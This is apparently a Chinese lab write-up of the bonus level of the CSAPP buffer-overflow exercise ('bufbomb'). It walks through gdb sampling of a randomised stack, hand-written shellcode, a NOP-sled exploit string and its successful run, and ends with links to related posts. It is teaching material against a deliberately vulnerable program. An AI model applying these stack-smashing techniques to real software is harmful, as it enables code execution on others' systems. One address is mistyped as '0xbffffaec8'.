CSAPP缓冲区溢出实验记录(三)

Level 5 Nitroglycerin (10 分)

题目说明:这一关是一道加分题。在bufbomb程序中还有一个‘-n‘的选项,使用这个选项时,bufbomb会运行Nitro模式,此时程序不会调用getbuf,而是调用getbufn:

int getbufn()
{
    char buf[512];
    Gets(buf);
    return 1;
}

这个函数与getbuf所不同的是,分配了512字节的字符数组,而调用getbufn的函数会在栈中随机分配一段存储区,这导致getbufn使用的栈基址EBP随机变化。此外,在Nitro模式运行时,bufbomb会要求提供5次输入字符串,每一次都要求getbufn的返回值为实验者的cookie。

与Level4相同,但要求提供同一个exploit string,在getbufn被调用5次后,最终返回到testn函数中,且不能破坏testn的堆栈状态,并使返回值为cookie。

解法:

由于getbufn函数栈的EBP不固定,每一次buf都不相同,我们先进行采样,观察其变化规律。

(gdb) disass getbufn
Dump of assembler code for function getbufn:
0x08048a60 <getbufn+0>: push   %ebp
0x08048a61 <getbufn+1>: mov    %esp,%ebp
0x08048a63 <getbufn+3>: sub    $0x208,%esp
0x08048a69 <getbufn+9>: add    $0xfffffff4,%esp
0x08048a6c <getbufn+12>:        lea    0xfffffe00(%ebp),%eax
0x08048a72 <getbufn+18>:        push   %eax
0x08048a73 <getbufn+19>:        call   0x8048b50 <Gets>
0x08048a78 <getbufn+24>:        mov    $0x1,%eax
0x08048a7d <getbufn+29>:        mov    %ebp,%esp
0x08048a7f <getbufn+31>:        pop    %ebp
0x08048a80 <getbufn+32>:        ret    
End of assembler dump.
(gdb) b *0x8048a72                 注:在调用Gets前下断点
Breakpoint 1 at 0x8048a72
(gdb) run -n -t heen                  以Nitro模式运行
Starting program: /root/Desktop/buflab/bufbomb -n -t heen
Team: heen
Cookie: 0x5573b7cf
Breakpoint 1, 0x08048a72 in getbufn ()
(gdb) p/x $ebp+0xfffffe00         以16进制打印buf
$1 = 0xbfffaeb8
(gdb) cont
Continuing.
Type string:hello
Dud: getbufn returned 0x1
Better luck next time
Breakpoint 1, 0x08048a72 in getbufn ()
(gdb) p/x $ebp+0xfffffe00
$2 = 0xbfffaeb8
(gdb) cont
Continuing.
Type string:hello again
Dud: getbufn returned 0x1
Better luck next time
Breakpoint 1, 0x08048a72 in getbufn ()
(gdb) p/x $ebp+0xfffffe00
$3 = 0xbfffaec8
(gdb) cont
Continuing.
Type string:hello again again
Dud: getbufn returned 0x1
Better luck next time
Breakpoint 1, 0x08048a72 in getbufn ()
(gdb) p/x $ebp+0xfffffe00
$4 = 0xbfffae98
(gdb) cont
Continuing.
Type string:dfafafaf
Dud: getbufn returned 0x1
Better luck next time
Breakpoint 1, 0x08048a72 in getbufn ()
(gdb) p/x $ebp+0xfffffe00
$5 = 0xbfffaec8
(gdb) p $ebp+0xfffffe00-$ebp
$6 = -512
(gdb) cont
Continuing.
Type string:fdfdfdfdfff
Dud: getbufn returned 0x1
Better luck next time
Program exited normally.

在getbufn被调用5次时,buf分别为0xbfffaeb8、0xbfffaeb8、0xbffffaec8、0xbfffae98、0xbfffaec8。最后我们打印了一下buf与EBP之间的偏移,正好为buf分配的512字节。堆栈布局如图所示。

由于buf分配了足够的存储空间(512字节),而且buf本身随机变化,因此我们考虑在实际的shellcode前加上NOP Sled(空指令雪撬),然后提供一个buf在getbufn5次调用中的最大地址覆盖ret,这样可保证ret指向EBP与实际buf之间的NOP Sled区,这样保证通过NOP空指令滑行,最终执行shellcode。

另外一个需要注意的地方是恢复调用函数testn的堆栈状态,由于EBP不固定,不能向Level 4那样在exploit string中填入SFP,需要在shellcode中设置。

总结一下,编写shellcode需要(1)恢复SFP;(2)设置getbufn返回值为cookie;(3)跳转到testn中调用getbufn后的下一指令地址。

反汇编testn

(gdb) disass testn
Dump of assembler code for function testn:
0x08048a84 <testn+0>:   push   %ebp
0x08048a85 <testn+1>:   mov    %esp,%ebp
0x08048a87 <testn+3>:   sub    $0x18,%esp ; %ebp=%esp+0x18
0x08048a8a <testn+6>:   movl   $0xdeadbeef,0xfffffffc(%ebp)
0x08048a91 <testn+13>:  call   0x8048a60 <getbufn>
0x08048a96 <testn+18>:  mov    %eax,%edx ;shellcode需要返回到的地址
0x08048a98 <testn+20>:  mov    0xfffffffc(%ebp),%eax
0x08048a9b <testn+23>:  cmp    $0xdeadbeef,%eax
0x08048aa0 <testn+28>:  je     0x8048ab1 <testn+45>
0x08048aa2 <testn+30>:  add    $0xfffffff4,%esp
0x08048aa5 <testn+33>:  push   $0x8049440
0x08048aaa <testn+38>:  call   0x8048748 <[email protected]>
0x08048aaf <testn+43>:  jmp    0x8048ae1 <testn+93>
0x08048ab1 <testn+45>:  cmp    0x804aa50,%edx
0x08048ab7 <testn+51>:  jne    0x8048ad3 <testn+79>
0x08048ab9 <testn+53>:  add    $0xfffffff8,%esp
0x08048abc <testn+56>:  push   %edx
0x08048abd <testn+57>:  push   $0x80494c0
0x08048ac2 <testn+62>:  call   0x8048748 <[email protected]>
0x08048ac7 <testn+67>:  add    $0xfffffff4,%esp
0x08048aca <testn+70>:  push   $0x4
0x08048acc <testn+72>:  call   0x8048c30 <validate>
---Type <return> to continue, or q <return> to quit---

由于我们只覆盖了getbufn在堆栈中的SFP和RET,不会影响ESP,可以反推testn堆栈中的ebp(即getbufn的SFP)为esp+0x18。通过这些信息,编写shellcode,并获得其十六进制的机器码

[[email protected] buflab]# cat exploit5_shellcode.s
leal 0x18(%esp),%ebp
movl $0x5573b7cf,%eax
pushl $0x8048a96
ret
[[email protected] buflab]# gcc -c exploit5_shellcode.s
[[email protected] buflab]# objdump -d exploit5_shellcode.o

exploit5_shellcode.o:     file format elf32-i386

Disassembly of section .text:

00000000 <.text>:
   0:   8d 6c 24 18             lea    0x18(%esp),%ebp
   4:   b8 cf b7 73 55          mov    $0x5573b7cf,%eax
   9:   68 96 8a 04 08          push   $0x8048a96
   e:   c3                      ret

上述shellcode的机器码包括15个字节,我们还需要在其前面填入512 -15 = 497个NOP(90)。

编写497个空格间断的90是一件痛苦的事,幸好我们有perl来帮我们完成

[[email protected] buflab]# perl -e ‘print "90 " x 497;‘> exploit5.txt

当然perl还可直接生成exploit string,由于有sendstring程序,此处不表。

接着编辑exploit5.txt,在最后一个90后填入。

90 90 ... 90 8d 6c 24 18 b8 cf b7 73 55 68 96 8a 04 08 c3 61 61 61 61 c8 ae ff bf

<-497个->
上面的4个61为覆盖SFP的地方,由于我们shellcode中做了设置,因此此处可为任意字节(除回车和nul),最后紧跟我们实验中获得的buf 的最大地址0xbffffaec8。

运行

[[email protected] buflab]# cat exploit5.txt|./sendstring -n 5 |./bufbomb -n -t heen
Team: heen
Cookie: 0x5573b7cf
Type string:KABOOM!: getbufn returned 0x5573b7cf
Keep going
Type string:KABOOM!: getbufn returned 0x5573b7cf
Keep going
Type string:KABOOM!: getbufn returned 0x5573b7cf
Keep going
Type string:KABOOM!: getbufn returned 0x5573b7cf
Keep going
Type string:KABOOM!: getbufn returned 0x5573b7cf
NICE JOB!

在getbufn调用5次后,满足了题目要求。

总结:

上述5关前前后后做了一个月,尽管以前对栈的缓冲区溢出有所理解,但当真正实践起来又是另外一回事,也并非如记录中的那样一帆风顺、信手捻来,而是走了无数的弯路以后才理解、并应用了正确的方法、得出了最后的结果,正所谓"纸上得来终觉浅,绝知此事要躬行",在信息安全这样一个实战性极强的领域里,更需要实实在在地耕耘下去。

时间: 2024-10-07 13:56:51

CSAPP缓冲区溢出实验记录(三)的相关文章

CSAPP缓冲区溢出实验记录(一)

题目说明: 开启漏洞之旅,从基础做起.近日,下载了CMU为<深入理解计算机系统>(CSAPP)一书教学配合的缓冲区溢出实验Buffer Bomb,重温了栈溢出的原理. 题目提供了一个有漏洞溢出的程序bufbomb,包括五个Level,在每个Level中要求返回指定的函数.修改全局变量.执行Shellcode等,难度逐渐递增.为保证实验者作业的唯一性,实验提供了程序makecookie,生成指定用户名的cookie,在实验中将会用到这个cookie值.在我的机器上, [email protect

CSAPP缓冲区溢出实验记录(二)

Level 2: firecracker(30分) bufbomb中存在一个bang函数, int global_value = 0; void bang(int val) {     if (global_value == cookie) {         printf("Bang!: You set global_value to 0x%x\n", global_value);         validate(2); } else     printf("Misfir

CSAPP缓冲区溢出攻击实验(下)

CSAPP缓冲区溢出攻击实验(下) 3.3 Level 2: 爆竹 实验要求 这一个Level的难度陡然提升,我们要让getbuf()返回到bang()而非test(),并且在执行bang()之前将global_value的值修改为cookie.因为全局变量与代码不在一个段中,所以我们不能让缓冲区一直溢出到.bss段(因为global_value初始化为0,所以它会被放在.bss而非.data段以节省空间)覆盖global_value的值.若修改了.bss和.text之间某些只读的段会引起操作系

CSAPP缓冲区溢出攻击实验(上)

CSAPP缓冲区溢出攻击实验(上) 下载实验工具.最新的讲义在这. 网上能找到的实验材料有些旧了,有的地方跟最新的handout对不上.只是没有关系,大体上仅仅是程序名(sendstring)或者參数名(bufbomb -t)的差异,不影响我们的实验. 1.实验工具 1.1 makecookie 后面实验中,五次"攻击"中有四次都是使你的cookie出如今它原本不存在的位置,所以我们首先要为自己产生一个cookie. 实验工具中的makecookie就是生成cookie用的.參数是你的

使用Linux进行缓冲区溢出实验的配置记录

在基础的软件安全实验中,缓冲区溢出是一个基础而又经典的问题.最基本的缓冲区溢出即通过合理的构造输入数据,使得输入数据量超过原始缓冲区的大小,从而覆盖数据输入缓冲区之外的数据,达到诸如修改函数返回地址等目的.但随着操作系统和编译器针对缓冲区溢出问题引入防护机制,初学者想要由简入繁的学习和实践缓冲区溢出的原理变得困难.在 Linux 环境下,用户可以通过设置编译和系统环境来去除某些防护措施,从而方便的完成某些简单的缓冲区溢出实验. 1.关闭SSP( Stack Smashing Protector

SEED缓冲区溢出实验笔记

缓冲区溢出实验(Linux 32位) 参考教程与材料:http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Software/Buffer_Overflow/ (本文记录了做SEED缓冲区溢出实验的体会与问题,侧重实践,而不是讲解缓冲区溢出原理的详细教程) 1. 准备工作 使用SEED ubuntu虚拟机进行缓冲区溢出实验,首先要关闭一些针对此攻击的防御机制来简化实验. (1)内存地址随机化(Address Space Randomization):基于Lin

2017-2018-2 20179215《网络攻防实践》seed缓冲区溢出实验

seed缓冲区溢出实验 有漏洞的程序: /* stack.c */ /* This program has a buffer overflow vulnerability. */ /* Our task is to exploit this vulnerability */ #include <stdlib.h> #include <stdio.h> #include <string.h> int bof(char *str) { char buffer[12]; /*

缓冲区溢出实验

话说 实验楼 网站上有"缓冲区溢出漏洞实验"的实验指导,是免费的,可以一览. seed虚拟机.程序源码如下: exploit1.c: /* exploit.c  */ /* A program that creates a file containing code for launching shell*/#include <stdlib.h> #include <stdio.h> #include <string.h> char shellcode

CSAPP实验四----缓冲区溢出实验bufbomb

在网上关于这个的实验有几个版本,这个版本只有三关,都比较基础,为了不让大家混淆,对本实验做一下说明: 文件说明     1. bufbomb : 主程序,有四个选项,最常用的是 -t ,后面加自己的姓名等,运行时会根据加入的参数生成cookie,第二关和第三关都会用到. 2.  sendstring :  翻译程序,实验要求将字符转化成ascii码输入,两位输入,即想输入0也要输入00,1对应01,以此类推.可以通过 sendstring < exploit.txt > exploit_raw